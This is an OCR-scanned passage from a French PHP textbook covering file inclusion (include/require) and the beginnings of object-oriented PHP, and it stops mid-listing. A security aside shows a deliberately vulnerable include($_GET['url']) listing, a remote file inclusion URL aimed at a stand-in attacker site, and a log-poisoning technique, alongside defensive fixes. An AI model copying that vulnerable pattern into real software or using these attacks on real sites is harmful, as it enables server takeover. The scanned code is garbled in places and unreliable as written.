// ce qui donne le resultat 
print_r($menu) ; 

?> 



retournera 

1 - Accueil 

2 - Forum 

3 - A propos 

Array ( [0] => [Accueil] [1] => [Forum] [2] => [A propos] ) 
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3-9- Les inclusions de fichiers 

Le langage PHP permet d'inserer, dans un script, du code qui provient d'un (ou de plusieurs) 
autres fichiers. 

Pour cela, PHP propose quatre fonctions (ou plutot, instructions) : 

■ require ( ) ; 

■ include ( ) ; 

et leurs variantes, depuis PHP 4.0.1, 

require_once ( ) ; 
include_once ( ) . 

Ces instructions sont generalement utilisees pour integrer des scripts dans lesquels des objets 
ou des fonctions reutilisables ont ete definis (dans ce cas, les fichiers inclus font office de 
bibliotheques de fonctions), ou bien pour integrer des portions de code contenant les 
parametres du script (dans ce cas, les fichiers inclus font office de fichiers de configuration). 

Listing 3.23 : include_01.php 

<?php 

// Inclut les parametres 
include("include_01a.php") ; 

// Inclut les fonctions 
include("include_01b.php") ; 

monEcho ($maChai ne) ; 

?> 



Listing 3.24 : include_01 a.php 

<?php 

// Exemple de fichier de configuration 
// vraiment mi nimal i ste 

$maChaine = "Bonjour tout le monde"; 

?> 

Listing 3.25 : include_01 b.php 

<?php 

// Exemple de bibliotheque de fonctions 
// encore une fois bien mi nimal i ste 

function monEcho($chai ne) 
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{ 

echo $chaine; 

} 

?> 



sera alors equivalent (commentaires exclus) a : 
Listing 3.26 : include_01 equiv.php 

<?php 

$maChaine = "Bonjour tout le monde"; 

function monEcho($chai ne) 

{ 

echo $chaine; 

} 

monEcho($maChaine) ; 



Fonction ou instruction ? 

require ( ) et include ( ) ne sont pas de veritables fonctions, et Von peut aussi bien 
ecrire : 

include ( "nom de fichier"); 
I include "nom de fichier"; 



Ces instructions peuvent etre utilisees de fagon conditionnelle ou bien encore dans des boucles, 
comme le montrent les exemples suivants : 

Listing 3.27 : include_02.php 

Je suis le script principal<br /> 

je vais tenter d'inserer les scripts<br /> 

apres avoir teste leur existence<br /> 

<?php 

if (file_exists("include_02a.php")) { 
include("include_02a.php") ; 

} 

if (file_exists("fichierinconnu.php")) { 
incl ude("fichierinconnu.php") ; 

} 

?> 
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Listing 3.28 : include_02a.php 

* Je sin's un simple script a inclure nomme include_02a.php 
affichera : 

Je suis le script principal 

je vais tenter d'inserer les scripts 

apres avoir teste leur existence 

* Je suis un simple script a inclure nomme include_02a.php 

Le tout sans generer d'erreur, puisque le script principal ne tentera jamais d'inclure le fichier 
inexistant. 



Accolades necessaires 

Notez la presence des accolades qui definissent le bloc contenant uniquement 
REM ARQ JE ['instruction include. Ces accolades sont necessaires, ilne faut done pas les omettre. 



Listing 3.29 : include_03.php 

Je suis le script principal<br /> 

je vais tenter d'inserer un script en boucle<br /> 

<?php 

for ($i=0; $i<3; $i++) { 

include("include_03a.php") ; 

} 

?> 



Listing 3.30 : include_03a.php 

* Je suis un simple script a inclure nomme include_03a.php<br /> 

affichera, quant a lui : 

Je suis le script principal 

je vais tenter d'inserer un script en boucle 

apres avoir teste leur existence 

* Je suis un simple script a inclure nomme include_03a.php 

* Je suis un simple script a inclure nomme include_03a.php 

* Je suis un simple script a inclure nomme include_03a.php 



Evolution de Vinstruction require() 

Meme si cela n'etait pas vrai auparavant pour Vinstruction require (), depuis la 
REMARQJE version 4.0.2, les fonctions require ( ) et include ( ) se comportent sensiblement de 
la meme fagon (la commande require ( ) s'etant ralliee au comportement de la 
commande incl ude ( ) ). 
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Comme cela se devine dans les exemples precedents, les scripts inseres commencent sur la base 
d'un texte brut (ou code HTML) ; il faudra done rouvrir les balises PHP pour les portions de 
code PHP. De ce fait, les scripts inseres sont similaires aux scripts principaux. 



Inclusions multiples 

II peut arriver que, sans veritablement le vouloir, un script soit inclus plusieurs fois. Cela arrive 
notamment lorsqu'un script A inclut un script B et un script C, alors que le script B lui-meme 
inclut le script C (e'est generalement ce qui arrive si les regies de codage ne sont pas 
suffisamment claires sur ce point). 

Si le script inclus de multiples fois contient des declarations de fonctions (ou d'objets) alors, 
inevitablement, vous vous retrouverez avec un message d'erreur indiquant que la fonction 
(ou l'objet) a deja ere definie. Afin de vous affranchir de ce probleme, vous pouvez faire 
appel a l'instruction include_once ( ) ou require_once ( ) afin de n'inclure le script qu'au 
premier appel. 

Ainsi, si Ton reprend l'exemple precedent avec include_once ( ) , cela donnera : 

Listing 3.31 : include_04.php 

Je sin's le script principal<br /> 

je vais tenter d'inserer un script en boucle<br /> 

<?php 

for ($i=0; $i<3; $i++) { 

i ncl ude_once("i ncl ude_03a.php") ; 

} 

?> 

et affichera seulement : 

Je suis le script principal 

je vais tenter d'inserer un script en boucle 

apres avoir teste leur existence 

* Je suis un simple script a inclure nomme include_03a.php 

Notez, a cette occasion, qu'il est a tout moment possible de connaitre la liste des fichiers inclus 

grace a la fonction get_included_f iles ( ) (ou son alias get_required_f iles ( ) ). 



get_included_files () 

Retourne la liste des fichiers inclus. 

Syntaxe array get_i ncl uded_fi les (void) 

retour Tableau indexe contenant la liste des noms complets (chemins absolus) 

des fichiers inclus par include ( ) , require ( ) , include_once ( ) ou 
require_once ( ) . Les noms des fichiers inclus plusieurs fois 
n'apparaissent qu'une fois. 
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Les noms des fichiers inclus 

Les noms des fichiers inclus peuvent porter n'importe quelle extension. Mais, dans la pratique, 
il faut etre prudent et bien choisir son extension. Nous vous conseillons une extension 
"Jnc.php". 

Extension des fichiers inclus et risques de piratage 

Si vous ne donnez pas Vextension .php, les fichiers inclus, s'ils sont accedes 
directement, ne seront pas interpretes et livreront tous leurs secrets. 
En effet, si, par exemple, votre script principal inclut un fichier nomme config.in" et 
qu'un pirate connait I 'existence de ce fichier, il pourra Vappeler directement depuis 
son navigateur et lire simplement son contenu, comme pour tout bon fichier texte (et 
il y trouvera certainement des choses interessantes du genre $motdepasse = 
'secret ' ;). S'il s'agit d'un fichier contenant des fonctions ou des classes, le pirate 
pourra recuperer votre code source ( et votre savoir-faire). Et pourtant, le moyen dese 
proteger est tres simple : si vous ajoutez simplement Vextension .php a vos scripts 
inclus, le code PHP, avant d'etre envoy e au navigateur du pirate, sera interprete, et le 
pirate ne pourra lire que le resultat de I 'interpretation (generalement un simple page 
blanche, puisque par exemple $motdepasse = 'secret' ; n'affichera rien). 



Les fichiers inseres distants 

Les fichiers a inserer sont generalement sur le meme serveur que le script principal, mais il est 
egalement possible d'inserer un fichier situe sur un autre serveur. 

Pour cela, il suffit de preciser l'URL complete du fichier, par exemple http://www.php.net/chemin/ 
fichier.html, a condition toutefois que la directive de compilation 
— disable-url-fopen-wrapper n'ait pas ete utilisee. II est a noter que, dans ce cas, si vous 
appelez un script PHP, seul le resultat de l'interpretation du script par le serveur distant sera 
inclus dans le script principal (et non le code source du script inclus). 

Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 

compilation de PHP. 
RENVOI 

Ouf! Nous sommes proteges 

La remarque precedente est importante. Elle implique que, tant que vous utilisez 
Vextension .php et que votre serveur interprete les fichiers .php, un pirate ne peut pas 
esperer lire vos fichiers de configuration par un simple include ( "http: 
//www. serveurquejaimeraispirater. com/fichierconfig.php") ;. 



A 

ATTENTION 
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Le passage de parametres 

Les fichiers etant tout betement integres dans le script principal, les variables globales qui 
auront ete definies avant les commandes include ( ) ou require ( ) seront accessibles par les 
scripts integres. Et, reciproquement, les variables globales definies (ou modifiees) dans les 
fichiers inclus (interpreted localement) seront accessibles par les fichiers inclus suivants ainsi 
que par le script principal. 

Ainsi, si le script inclus necessite un certain nombre de parametres, il n'est pas necessaire (et 
cela ne fonctionnera pas) de faire : 

<?php 

i ncl ude("f i chi er_i nc . php?parametrel=val eurl&parametre2=val eur2" ) 

?> 

mais plutot : 
<?php 

$parametrel = valeurl; 
$parametre2 = valeur2; 
include("fichier_inc.php") ; 

?> 

Le seul cas ou, dans un include ( ) , on peut etre amene a passer des parametres, c'est celui ou 
le fichier inclus est un script PHP distant qui necessite des parametres. C'est un cas bien 
particulier, puisqu'alors le script inclus sera interprete par le serveur distant avant d'etre inclus 
(et non inclus tel quel dans le script principal). 

<?php 

i ncl ude(" http://www.php.net/scri pt .php?paraml=val eurl") ; 

?> 



Les chemins relatifs 

Les chemins precises dans ces commandes, s'ils ne sont pas absolus, sont toujours relatifs au 
script en cours d'execution. Cela peut, a premiere vue, paraitre banal, mais, c'est en fait lourd 
de consequences. 

Si votre script principal.php du projet pro j et est stocke dans un repertoire projet et qu'il inclut 
un script inclus ljnc.php de la bibliotheque biblio stocke dans un repertoire biblio, vous serez 
tente de mettre la commande include ( 11 .. /bibiio/indusi_inc .php" ) . A vrai dire, 
jusque-la, tout va bien. 

Mais si votre script inclus ljnc.php a besoin d'un autre fichier inclus2 Jnc.php (disons) de la 
meme bibliotheque, ce dernier aura probablement utilise la commande 
include ( " inclus2_inc . php " ) . Et c'est la le probleme. 

Si vous decidez d'executer le script inclusl Jnc.php, cela fonctionnera parfaitement. Mais, pour 
le script principal.php le chemin precise dans la commande include de inclusl Jnc.php sera 
relatif au script en cours (relatif au repertoire projet). Autrement dit, on va chercher inclus2Jnc 
.php sous projet et non sous ../biblio, ce qui, de toute evidence, ne fonctionnera pas. 
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Cela voudrait dire que, pour corriger le probleme, nous devrions remplacer le chemin precise 
dans inclusl Jnc.php par un chemin relatif a projet. En d'autre termes, remplacer 

include ( " inclus2_inc . php " ) par include ( " . . /biblio/ inclus2_inc . php" ) . Toutefois, 

cela est insatisfaisant a plus d'un titre. 

1. A la lecture de la bibliotheque biblio cette reference ../biblio est plutot incongrue. 

2. Cette solution ne serait pas satisfaisante pour un projet situe dans un autre niveau 
d'arborescence. 

3. L'appel direct inclusl Jnc.php fonctionne toujours, mais uniquement parce que nous avons 
pris un cas de figure plutot simple {projet et biblio sont au meme niveau d'arborescence). 

Pour pallier ce probleme, nous avons deux solutions possibles : 

Q_ 

£ ■ Modifier le parametre include jpath. 

CD 

^ ■ Toujours utiliser des chemins absolus. 

Bl 
C 
CO 

Le parametre include„path est un parametre du fichier php.ini qui indique ou aller chercher 
— [ le fichier a inclure. Ce parametre definit une liste de chemins separes par des : sous Linux/ 

co UNIX, mais par des ; sous Windows. Dans ce cas, il vous faudra modifier le fichier php.ini pour 

chaque bibliotheque ajoutee (et pour chacun des serveurs). 



RENVOI 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



Ce parametre include_path peut toutefois etre modifie au niveau du script (avant de faire 
l'appel a include)) ou required) grace a la fonction ini_set(), selon le modele 

ini_set ( " include_path" , "<nouvelle liste de repertoires>" ) ; ■ 



Construction automatique de chemins absolus 

A premiere vue, Videe de toujours preciser des chemins absolus lorsque Von desire 
ASTUCE inclure desfichiers peut sembler extremement contraignante. En effet, cela signifie, en 
theorie, que si Von souhaite deplacer Vespace hebergeant V ensemble des scripts (ou 
installer les scripts sur une autre machine proposant une autre arborescence), tons les 
chemins seront a modifier. Mais heureusement, en pratique, il est possible de 
construire dynamiquement ces chemins absolus. 

En effet, la constante file retourne le chemin absolu et le nom du fichier 

inclus. Le chemin absolu du fichier ayant un chemin relatif (au fichier inclus) 
cheminRelatif I fichier. php sera alors : 

dirname ( FILE ) . " /cheminRelatif /fichier . php" 

II suffit done de remplacer I'intuitif 
include ( "cheminRelatif / fichier .php " ) ; 
par 

include (dirname ( FILE ) . " /cheminRelatif / fichier .php" ). 
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Cas d'erreur et code retour 

Si le script a inclure n'est pas trouve alors : 

L'instruction include () generera un message d'erreur de type "alerte" (warning) et le 
deroulement du script principal se poursuivra. 

L'instruction require ( ) generera un message d'erreur de type "fatale" (fatal) et le 
deroulement du script principal s'interrompra. 

Si une erreur est levee (meme une erreur de type "fatale") dans un script inclus, cela 
n'interrompt pas pour autant 1'execution du script principal (que ce soit avec include ( ) ou 
require ( ) ). 

L'instruction include () retourne un code d'erreur, ce qui n'est pas le cas de l'instruction 

require ( ) . 

Par defaut, le code retour de l'instruction include ( ) est : true en cas de succes et false en cas 
d'echec. Mais il est egalement possible de generer son propre code retour (en cas de succes de 
l'inclusion) en sortant du script inclus par l'instruction return ( ) suivie de la valeur a retourner 
(comme nous le ferions pour une simple fonction). 

Listing 3.32 : include_05.php 

<?php 

$retour = include("include_05_inc.php") ; 

echo "Code retourne par le fichier inclus = $retour<br />"; 

?> 

Listing 3.33 : include_05_inc.php 

<?php 

echo "* Je suis le fichier inclus, <br />"; 

echo "je me contente d'afficher ce message<br />"; 

echo "et de retourner 5<br />"; 

return 5; 

?> 

affichera done : 

* Je suis le fichier inclus, 

je me contente d'afficher ce message 

et de retourner 5 

Code retourne par le fichier inclus = 5 

Differences entre include () et require () 

Depuis la version 4.0.2, les instructions include ( ) et require ( ) ne different que 
sur deux des points evoques dans ce chapitre : 

Comportement en cas d'inexistence du fichier a inclure ; 
Presence ou non d'un code retour. 
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Chapitre 3 Le langage PHP 



Un cas d' utilisation pratique mais potentiellement dangereux 

La fonction include ( ) est souvent utilisee pour emuler l'utilisation de frames sans faire appel 
a la balise HTML <f rame>. Dans ce cas, la page principale du site contient, generalement, un 
en-tete, un ou des menus (dans un bandeau superieur, gauche ou droit), le contenu et, 
eventuellement, une ligne de copyright. Le tout pouvant prendre la forme d'un tableau, ou , 
quasiment, seule la partie "contenu" change (d'une page a l'autre). L'idee consiste alors a 
fournir au script principal un parametre indiquant quelle page de contenu afficher 
(techniquement, cela consiste en un simple include). Ce qui donne a peu de choses pres (je 
vous laisse fignoler) le code suivant : 

Listing 3.34 : include frameOLphp 

<html> 
<body> 

<table width="100%"> 

<trxtd colspan="3" al ign="center">Entete</tdx/tr> 
<trxtd>Menu Gauche</td> 
<td> 

<?php 

include($_GET["url "]); 

?> 

</td> 

<td>Menu Droit</td> 
</tr> 

<trxtd colspan="3" al ign="center">Copyright</tdx/tr> 

</tabl e> 

</body> 

</html> 

qui pourra etre appele comme suit : 

include_f rameOl . php?url= " accueil . html " 
include_f rameOl . php?url= "mavie . html ' 



Pourquoi eviter la balise <frame> ? 

Le probleme que Von peut rencontrer en utilisant des frames HTML est lie au fait que 
ce qui apparait dans le navigateur n'est pas le resultat de V interpretation d'une seule 
URL mais de plusieurs (celle qui definit les frames et celles qui definissent leur 
contenu). Ainsi, les moteurs de recherche, lorsqu'ils indexent des sites contenant des 
frames, nefont pas de distinction entre ces differentes URL - ce qui bien souvent les 
amine a proposer une reorientation vers une des frames hors de son contexte, 
masquant generalement la frame qui contient le menu principal, et empechant ainsi 
la navigation sur le site. II existe de nombreux moyens de contourner ce probleme : 
l'utilisation du Javascript en est un, mais I'ideal est certainement de n 'avoir qu'une 
page unique. 
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Cependant, ce type ^implementation pose de serieux problemes de securite. En effet, rien 
n'empeche un pirate d'appeler lui-meme 

includef rameOI .php?url = http://www.sitedupirate.com/scriptmechant.txt. 

Et si scriptmechant.txt affiche (mais n'execute pas) un texte contenant un script PHP, ce script 
sera execute sur VOTRE serveur au moment de l'include. Le pirate pourra alors faire ce que 
bon lui semble sur VOTRE serveur, a commencer par executer une commande afin d'archiver 
du code source de votre site (et recuperer ainsi vos mots de passe d'acces a la base de donnees). 

Dans ce cas de figure, la premiere precaution a prendre consiste done a empecher l'inclusion de 
fichiers distants. Une solution simple et doublement utile consiste a faire preceder la 
commande include ( ) d'un test d'existence du fichier par f iie_exists ( ) . Cela vous evitera, 
d'une part, de tenter d'inclure des fichiers qui n'existent pas et, d'autre part, comme 
f iie_exists ( ) retourne false dans le cas de fichiers distants, d'inclure de tels fichiers. 

Listing 3.35 : include_frame02.php 

<html> 
<body> 

<table width="100%"> 

<trxtd colspan="3" al ign="center">Entete</tdx/tr> 
<trxtd>Menu Gauche</td> 
<td> 

<?php 

if (file_exists($_GET["url"])) include($_GET["url "]) ; 

?> 

</td> 

<td>Menu Droit</td> 
</tr> 

■ctrxtd colspan="3" al ign="center">Copyright</tdx/tr> 

</tabl e> 

</body> 

</html> 

Vous voila rassure ? 
Eh bien, vous avez tort ! 

Ce n'est pas parce que le fichier est sur votre serveur et qu'il existe (et qu'il est accessible depuis 
votre compte) que vous etes a l'abri. Eh oui, les pirates sont de petits malins (e'est d'ailleurs bien 
souvent par defi que les pirates sevissent). La plupart des serveurs web sont configures pour 
tracer les evenements (a titre statistique ou de surveillance). Avec Apache, les fichiers de traces 
sont, par defaut, access Jog et error Jog : ils contiennent generalement (selon la configuration) 
l'URL de la page demandee, l'adresse IP du client, etc. L'un est destine aux acces reussis, 
l'autre aux acces ayant echoues. Evidemment, ces fichiers sont lisibles par le serveur et un appel 
a f ile_exists ( ) sur ces fichiers retournera true. Si le pirate fait pointer $url sur ces fichiers, 
ils seront done inclus. Vous me direz "oui, mais qu'est-ce que 5a va lui apporter de lire le 
contenu de ce fichier ?". A premiere vue rien, sinon que... je vous l'ai dit, ils sont malins !. II lui 
suffit de trouver le moyen d'inclure dans ces fichiers (et plutot dans le fichier error Jog) le code 
PHP qu'il souhaite executer. Pour cela, il suffit qu'il appelle une URL bidon dans laquelle il 
integre le code (ex. : http://www.siteattaque.com/<moncode>). Et voila, le tour est joue ! 
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Conclusion, il faut egalement s'assurer que le fichier inclus ne pourra etre, d'une maniere ou 
d'une autre, un fichier altere par un pirate (ex. : contenu d'un livre d'or s'il est stocke dans un 
fichier et non dans une base de donnees). 

Si vous ne creez aucun fichier (style livre d'or) dans l'espace de votre serveur, vous pouvez alors 
certainement vous proteger de ce type d'attaque en remplagant le test precedant par 

if (eregi ("~" .$_SERVER["D0CUMENT_R00T"] , real Path ($url )) ) ... 

qui verifiera que le chemin reel de l'URL specifiee commence bien par 
$_server [ " document_root " ] (la racine du serveur web). 



Les pirates 



a. ' ~ N'oubliez pas : il y a probablement plus de mauvais administrateurs reseaux et de 

S> REMARQJE mauvais programmeurs que de pirates mat intentionnes. De plus, les attaques que 

^ Von peut subir apprennent generalement plus qu'elles ne causent de desagrements 

— (hormis une grosse perte de temps). 



3.10. Les classes, les objets 

Avec la version 5, PHP se tourne un peu plus vers le monde des langages orientes objets (notez 
l'importance, ici, du terme "oriente"). Ce n'est toutefois pas un langage a objets comme peut 
T'etre Eiffel et contrairement aux autres langages orientes objets, tels que C+ + ou Java, PHP 
reste un langage de script. 



Le langage Eiffel 

Cree par Bertrand Meyer, le langage Eiffel a trouve sa place dans le milieu 
REMARQJE universitaire en tant qu'outil d'enseignement de la "philosophie" objet des langages de 
programmation. Son typage tresfort le rend particulierement intransigeant. 



Avant d'expliquer comment cela se gere au niveau de PHP, il peut etre interessant de rappeler 
ce qu'est la programmation objet. 

L'idee est d'avoir un langage de programmation ou les donnees d'une meme nature et les 
fonctions qui permettent de les manipuler sont intimement liees au sien d'entites appelees 
objets. Les classes associees a ces objets auront une fonction d'initialisation (appelee 
"constructeur"), des attributs et des fonctions (proprietes) qui leur sont propres (appeles 
methodes). Toutes ces entites repondront aux exigences de l'objet. 

Prenons un exemple simple : une boutique d'informatique. On pourra definir un ordinateur a 
partir de plusieurs classes : 

Une classe ordinateur (on appellera ordinateur l'association d'un boitier, d'un ecran, 
d'un clavier et d'une souris) ; 

Une classe Boitier (on estime qu'un boitier est deja equipe) ; 
■ Une classe Ecran ; 
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■ Une classe clavier ; 
Une classe souris. 

Chacune de ces classes comportera un certain nombre d'attributs et de methodes : 

Souris : une souris sera definie par son prix et son modele. On ajoutera deux fonctions 
permettant de modifier le prix et le modele : modif ierPrix ( ) , modif ierModele ( ) . 

clavier : dans un premier temps, nous nous contenterons des memes informations que 
celles definies pour la classe souris. 

Ecran : idem. 

Boitier : idem mais nous ajouterons un attribut details et la fonction 

modif ierDetails ( ) . 

Ordinateur : on peut associer un identifiant unique a un ordinateur identif iant, et une 
methode pour calculer son prix calculerPrix ( ) en fonction des elements qui le 
constitue. Quatre attributs pourront definir chacune des pieces d'un ordinateur : boitier, 
ecran, clavier, souris. 

Alors que la plupart des attributs seront de type simple: reel (pour le prix), chaine de caracteres 

(pour le modele); La classe Ordinateur, elle, Utilise des attributs boitier, ecran, clavier, 

souris qui sont des types complexes: a savoir les classes precedemment definies. 

La creation d'un objet (instanciation d'une classe) passe par l'appel d'une methode particuliere 
appelee constructeur. Le constructeur des classes souris, clavier et Ecran aura comme 
parametres le prix et le modele. Le constructeur de la classe Boitier aura comme parametres 
le prix, le modele et une description. La classe ordinateur aura un constructeur ayant comme 
attributs un boitier, un ecran, un clavier et une souris. 

Ce qui donne en notation "abstraite" : 

Classe Ordinateur 

Constructeur : 

■ ordinateur (boitier : BOITIER, ecran : ECRAN, clavier : CLAVIER, souris : SOURIS). 
Attributs : 

boitier : BOITIER ; 
ecran : ECRAN ; 
clavier : CLAVIER; 
souris : SOURIS. 

Fonctions : 

calculerPrix ( ) : REAL 
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Classe Boitier 

Constructeur : 

boitier (modele : STRING, details : STRING, prix : REAL). 

Attributs : 

modele : STRING ; 
details : STRING ; 
■ prix : REAL. 

£^ Fonctions : 

a. 

g, modif ierModele (modele:STRING) : VOID ; 

CO 

= modif ierDetails (details : STRING) : VOID ; 

aj modif ierPrix (details:STRING) : VOID. 

CO 

Classe Ecran 

Constructeur : 

ecran (modele : STRING, prix : REAL). 

Attributs : 

modele : STRING ; 
prix : REAL. 

Fonctions: 

modif ierModele (modele : STRING) : VOID ; 
modif ierPrix (details : STRING) : VOID. 

Classe Clavier 

Constructeur : 

clavier (modele : STRING, prix : REAL). 

Attributs : 

modele : STRING ; 
prix : REAL. 

Fonctions : 

modif ierModele (modele : STRING) : VOID ; 
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modif ierprix (details : STRING) : VOID. 

Classe Souris 

Constructeur : 

souris (modele : STRING, prix : REAL). 

Attributs : 

modele : STRING ; 
prix : REAL. 

Fonctions : 

modif ierModele (modele : STRING) : VOID ; 
modif ierprix (details : STRING) : VOID. 

Ce modele definit simplement un ordinateur tel qu'il a ete decrit. 

L'avantage de ce type de programmation, c'est qu'il est tres facilement modifiable et corrigible. 
S'il est decide que le calcul du cout d'un ordinateur n'est plus la simple addition des pieces le 
composant, mais le cout des pieces plus un cout de montage, il suffit de modifier la methode 

calculerPrix ( ) de la classe Ordinateur. 

Nous verrons par la suite qu'il est possible de faire bien mieux encore en se servant de ce qui est 
appele l'heritage. 



la POO en deux mots 

Ceci n'est qu'un apergu de la programmation orientee objet (POO) ; un aperqu qui 
n'a d'ailleurs pas d'autre ambition que d'initier. II existe de nombreux livres et sites 
Internet qui en parlent longuement, de maniere generale ou associe a un langage en 
particulier. 



Definir une classe 

II est d'usage de definir une seule classe par fichier, mais cela n'est pas obligatoire. Voici le 
squelette d'une classe : 

<?php 

class Ordinateur 
{ 

// on placera ici le constructeur, les attributs et les methodes. 

} 

?> 



REMARQUE 
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line classe, un fichier 

Une classe par fichier est sans aucun doute la meilleure fagon de s'y retrouver : le nom 



conseil du fichier peut ainsi prendre le nom de la classe (eventuellement suffixe par "_class"), 
et il est alors tres facile de retrouver la classe sur laquelle on veut travailler. 




stdClass 

Vous ne devez en aucun cas appeler une classe stdClass, cenom etant reserve a PHP. 



ATTENTION 



Les constructeurs 

Un constructeur est une methode (fonction) appelee lors de l'instanciation (la creation d'un 
objet), qui sert generalement a initialiser des attributs. Le nom du constructeur doit etre 

" construct". 



J\ Compatibility ascendante 

Avec PHP 4, le nom du constructeur devait etre identique au nom de la classe. Ne 
ATTENTION vous inquietez pas ! Ce n'est pas parce que vous avez, dans vos tiroirs, des scripts 
ecrits en objet pour PHP 4, que vous devez necessairement vous empresser de les 

corriger pour les f aire fonctionner avec PHP 5. En fait, si la methode construct 

n 'est pas trouvee, I'interpreteur continuera a rechercher une methode portant le meme 
nom que la classe et s'en servira comme constructeur. 



<?php 

class Ordinateur 

{ 

// on placera ici les attributs. 

function construct($boitier, $ecran, $clavier, $souris) 

{ 

echo "Le constructeur a ete appele avec les parametres :<br />"; 
echo $boitier. "<br />"; 
echo $ecran."<br />"; 
echo $cl avier. "<br/>" ; 
echo $souris."<br />"; 

} 

// on placera ici les methodes. 

} 

?> 

Pour creer un objet, il suffit d'utiliser l'instruction new comme suit : 
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$monOrdi nateur = new Ordinateur($monBoitier, $monEcran, 

$monClavier, $maSouris); 

L'exemple ici suppose que $monBoitier, $monEcran, $monClavier et $maSouris SOnt de type 

chaine de caracteres (ce qui n'est pas ce que Ton souhaite a terme). 

A tout moment, il vous est possible de verifier si un objet appartient a (ou derive d'une) classe 
donnee en faisant appel a 1'instruction instanceOf . 

<?php 

// Nous supposons que la classe MaClasse a ete definie precedemment 

$obj = new MaClasseO; 

if ($obj instanceOf MaClasse) { 

echo "Oui, c'est bien le type d 1 objet que j 1 attendai s" ; 
} else { 

echo "Mais c'est quoi cet objet ?"; 

} 

?> 



Les attributs 

Les attributs sont des variables ou des constantes associees a un objet. lis sont precedes du 
mot-cle public, protected OU private. 

<?php 

class Ordinateur 
{ 

public $boitier; 
public $ecran; 
public $clavier; 
public $souris; 

function construct($boitier, $ecran, $clavier, $souris) 

{ 

$this->boitier = $boitier; 
$this->ecran = $ecran; 
$this->clavier = $clavier; 
$thi s->souri s = $souris; 
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II on placera ici les methodes. 



ydV mrPHP4 

™ Du temps de PHP4, les modificateurs de portee: public, protected et private 

REMARQJE n'existaient pas. Ilfallait alors utiliser le mot cle var (qui reste toutefois compatible 
avec PHP 5 et qui se comporte comme publ i c) 
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Dans cet exemple, le constructeur joue bien son role d'initialisation. $this est 1'objet courant. 
$this->boitier fait done appel a l'attribut boitier de l'instance "courante" de Ordinateur. 

Les attributs ayant ete declares public, ils sont accessibles depuis "tout endroit du code": a 
savoir aii sein de la classe (via $this->boitier) tout comme en dehors de la classe par 
1'instruction : 

SmonBoitier = $monOrdinateur->boitier; 

Et comme nous le verrons plus tard, un attribut public est egalement accessible depuis une 
classe derivee (Cf. heritage). 




Appel d 'attributs 

Une erreur courante consiste a ecrire $monOrdinateur->$boitier au lieu de 



ATTENTION $monOrdinateur->boitier. Bien entendu, la premiere version ne peut 
fonctionner, car elle devient $monOrdinateur-> " " si $boitier n'est pas defini. 



Les constantes 

II est possible de definir des constantes au sein d'une classe, pour cela, il suffit d'utiliser 
1'instruction const. Celles ci sont alors uniquement accessibles via un appel statique 

(MonObjet: :MA_CONSTANTE). 

Notez qu'une constante definie au niveau de la classe sera prioritaire sur une constante portant 
le meme nom, mais definie en dehors de la classe via 1'instruction define. 

<?php 

class Divers 

{ 

const MODE_RAPIDE = "rapide" 
const MODE_PRECIS = "precis"; 

} 

echo Divers: :MODE_RAPIDE. "<br />"; 

?> 



Valeur initiale des attributs 

Comme pour les variables statiques des fonctions, il n'est pas possible d'initialiser les 
REMARQJE valeurs des variables enfaisant appel a des operateurs (ex: public $val = 5 + 7 ;) 
ou d des fonctions (ex: public $val = sqrt (25) ;). 



attributs statiques 

Au besoin, vous pourrez egalement utiliser le modificateur "static" qui permet de definir une 
variable partagee par toutes les instances de 1'objet. Une variable statique s'adresse selon le 

schema MonObj et : : $maVariable. 
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<?php 

class Divers 

{ 

static $compteur = 0; 
function i ncrementeCompteur() 
{ 

self: :$compteur++; 

} 

function affi cheCompteur () 
{ 

echo sel f : :$compteur; 

} 



$objl = new DiversQ ; 
$obj l->i ncrementeCompteurO ; 
$obj2 = new Divers(); 
$obj l->affi cheCompteur () ; 
$obj2->affi cheCompteur () ; 



affichera done : 

2 
2 

Ce qui montre bien que la variable statique est partagee par les deux instances. 



On n 'est jamais mieux servi que par soi-meme 

Dans le cas d'un attribut ou d'une methode statique, pourfaire reference a la classe 
REMARQUE courante vous devez utiliser ['instruction self: .-. 



Les methodes 

Les methodes sont des fonctions propres a une classe donnee qui permettent de manipuler ou 
acceder aux attributs d'un objet. Elles se declarent comme des fonctions mais sont definies au 
sein d'une classe. 

<?php 

class Ordinateur 
{ 

public $boitier; 
public $ecran; 
public $clavier; 
public $souris; 

function construct($boitier, $ecran, $clavier, $souris) 

{ 

$this->boitier = $boitier; 
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$thi s->ecran = $ecran; 
$this->clavier = $clavier; 
$thi s->souri s = $souris; 



// La fonction calculer_prix renvoi e la somme des prix des composants 
function calculerPrix() 

{ 

$boitier = $this->boitier; 
$ecran = $this->ecran; 
$clavier = $this->clavier; 
$souris = $this->souris; 

return $boi ti er->pri x+$ecran->pri x+$cl avi er->pri x+$souri s->pri x ; 

} 



L'appel a une methode se fait selon le schema suivant: 
$monObject->maMethode() ; 



Noms de methodes 

^ Deux classes peuvent avoir les mimes noms de methodes, vu qu 'elles sont precedees, 
REMARQUE ^ Qrs ^ e ^ eur a pp e ^ ^'un objet type. Aucune confusion n'est alors possible. 



Les remarques, presentees dans le chapitre sur les fonctions, concernant la portee des variables 
(globales, statiques ou locales) s'appliquent exactement de la meme maniere pour les 
methodes. 




Noms de methodes reserves 

Afin de ne pas prendre le risque de rentrer en conflit avec des methodes ( appelees 



ATTENTION "fonctions magiques") utilisees pour le fonctionnement interne de PHP, vous ne devez 
pas f aire preceder le nom de vos methodes par " ". 



Les methodes statiques 

Une methode ne faisant pas appel a un attribut de l'objet (ou a une autre methode non 
statique) est dit statique. 

<?php 

class Souris 

{ 

function afficher() 

{ 

echo "Cet objet represente une souris d'ordinateur"; 

} 

} 

?> 
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Pour appeler une telle methode, il est inutile de creer un objet (par un appel new). II est done 
possible d'utiliser l'operateur : : (au lieu de ->) . Ainsi, le script suivant aura pour effet 
d'afficher "Cet objet represente une souris d'ordinateur" sans pour autant avoir eu besoin de 
creer un objet Souris. 

<?php 

Souris: :afficher() ; 

?> 



Passage par reference et dereferencement 
Passage par reference 

Avec PHP 5, les objets sont systematiquement passes par reference (comme dans un langage tel 
que Java) et non plus par copie. II n'est done pas necessaire de faire preceder le nom du 
parametre d'un & comme ce fut le cas avec PHP 4. 

Ainsi, l'exemple suivant : 

Listing 3.36 : Exemple 

<?php 

class MaClasse 
{ 

var $msg; 

function MaClasse() 
{ 

$this->msg = "Message par defaut"; 

} 

} 

function modi f ieMessage($objet) 

{ 

